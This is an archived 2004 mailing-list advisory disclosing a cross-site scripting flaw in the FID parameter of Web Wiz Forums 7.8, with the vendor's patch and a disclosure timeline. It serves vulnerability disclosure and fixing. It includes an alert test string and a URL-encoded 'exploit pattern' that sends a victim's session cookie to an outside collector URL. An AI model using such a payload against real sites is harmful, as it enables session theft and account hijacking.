lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Tue, 15 Jun 2004 20:25:37 +0300 From: "Ferruh Mavituna" <ferruh@...ituna.com> To: <bugtraq@...urityfocus.com>, <full-disclosure@...ts.netsys.com>, "'Secunia'" <vuln@...unia.com>, "'Vulnwatch'" <vulnwatch@...nwatch.org>, <webappsec@...urityfocus.com> Subject: Web Wiz Forums Registration Rules XSS Vulnerability ------------------------------------------------------ WEB WIZ FORUMS REGISTRATION RULES XSS VULNERABILITY ------------------------------------------------------ Online URL : http://ferruh.mavituna.com/article/?528 XSS / Cross Site Scripting attack allows an attacker to hijack other users/administrators account. ------------------------------------------------------ ABOUT WEB WIZ FORUMS; ------------------------------------------------------ Web Wiz Forums, the free award winning ASP bulletin board system software, can add value to almost any web site. Whether you are building a small interactive community with 10 people or over 100,000 strong customer support forum, this fast, scalable, bulletin board engine can manage your community URL & Demo & Source Code Download ; http://www.webwizguide.info/web_wiz_forums/ ------------------------------------------------------ VULNERABLE; ------------------------------------------------------ Web Wiz Forums Version 7.8 [possibly lower versions] ------------------------------------------------------ NOT VULNERABLE; ------------------------------------------------------ Web Wiz Forums Version 7.9 ------------------------------------------------------ PROBLEM; ------------------------------------------------------ - Page registration_rules.asp (Parameter : FID) - Test; registration_rules.asp?FID=%22%3E%3Cscript%3Ealert%28%27Vulnerable%2520%21%2 7%29%3C%2Fscript%3E - Possible Exploit Pattern; - This sample sends cookie to victim URL [in sample http://ferruh.mavituna.com/xss/] registration_rules.asp?FID=%22%3E%3Cimg+width%3D0+height%3D0+src%3D%22javasc ript%3Adocument%2Eimages%5B0%5D%2Esrc%3D%27http%3A%2F%2Fferruh%2Emavituna%2E com%2Fxss%2F%3F%27%2Bdocument%2Ecookie%22%3E ------------------------------------------------------ HOW TO PATCH [provided by vendor]; ------------------------------------------------------ Download http://www.zap2.me.uk/7.7a_and_7.8_to_7.9_patch_files.zip Version 7.9 has been released to deal with this issue. Change line 65 of the file registration_rules.asp that reads:- intForumID = Request.QueryString("FID") To the following:- If isNumeric(Request.QueryString("FID")) Then intForumID = CInt(Request.QueryString("FID")) Else intForumID = 0 End If ----------------------------------------------------- HISTORY; ------------------------------------------------------ Discovered : 14.06.2004 Vendor Informed : 15.06.2004 Published : 15.06.2004 ------------------------------------------------------ Vendor Status; ------------------------------------------------------ Quickly answered & fixed. Ferruh Mavituna Web Application Security Specialist http://ferruh.mavituna.com PGPKey : http://ferruh.mavituna.com/PGPKey.asc
Powered by blists - more mailing lists